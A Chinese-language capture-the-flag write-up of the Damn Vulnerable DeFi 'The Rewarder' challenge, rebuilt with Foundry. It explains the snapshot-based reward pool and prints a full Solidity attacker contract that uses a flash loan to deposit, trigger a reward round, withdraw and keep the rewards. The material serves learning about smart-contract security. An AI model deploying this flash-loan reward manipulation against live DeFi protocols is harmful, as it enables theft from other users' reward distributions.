为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉
本题涉及的合约比较多,首先介绍ERC20Snapshot合约
ERC20Snapshot:继承自ERC20,通过SnapshotId可以追溯到每一个快照时间点的账户余额和总供应量,在ERC20 token的transfer之前会通过beforeTransfer来更新当前快照ID下的账号余额和总供应,通常用作分红、投票、空投等快照场景
这道题目中主要由RewardToken、AccountingToken、LiquidityToken和TheRewarderPool组成,它们的关系如下:
除此之外,本题还提供一个闪电贷合约,可用于通过闪电贷借出liquidityToken
假设没有任何额外的用户操作,在下一轮次分配奖励的时候,users数组中的四位用户将会继续评分奖励,每个用户分到的rewardToken为总数的1/4
为了达到测试脚本的期望值,需要player参与rewardToken的分配,可以通过闪电贷借出liquidityToken,deposit到TheRewarderPool,此时可以触发新一轮的rewardToken分配,再通过withdraw赎回liquidityToken并返还给FlashLoanerPool
攻击合约代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {TheRewarderPool, RewardToken} from "../../src/the-rewarder/TheRewarderPool.sol";
import "../../src/the-rewarder/FlashLoanerPool.sol";
import "../../src/DamnValuableToken.sol";
contract Attacker {
FlashLoanerPool flashloan;
TheRewarderPool pool;
DamnValuableToken dvt;
RewardToken reward;
address internal owner;
constructor(address _flashloan,address _pool,address _dvt,address _reward){
flashloan = FlashLoanerPool(_flashloan);
pool = TheRewarderPool(_pool);
dvt = DamnValuableToken(_dvt);
reward = RewardToken(_reward);
owner = msg.sender;
}
function attack(uint256 amount) external {
flashloan.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external{
dvt.approve(address(pool), amount);
// deposit liquidity token get reward token
pool.deposit(amount);
// withdraw liquidity token
pool.withdraw(amount);
// repay to flashloan
dvt.transfer(address(flashloan), amount);
reward.transfer(owner, reward.balanceOf(address(this)));
}
}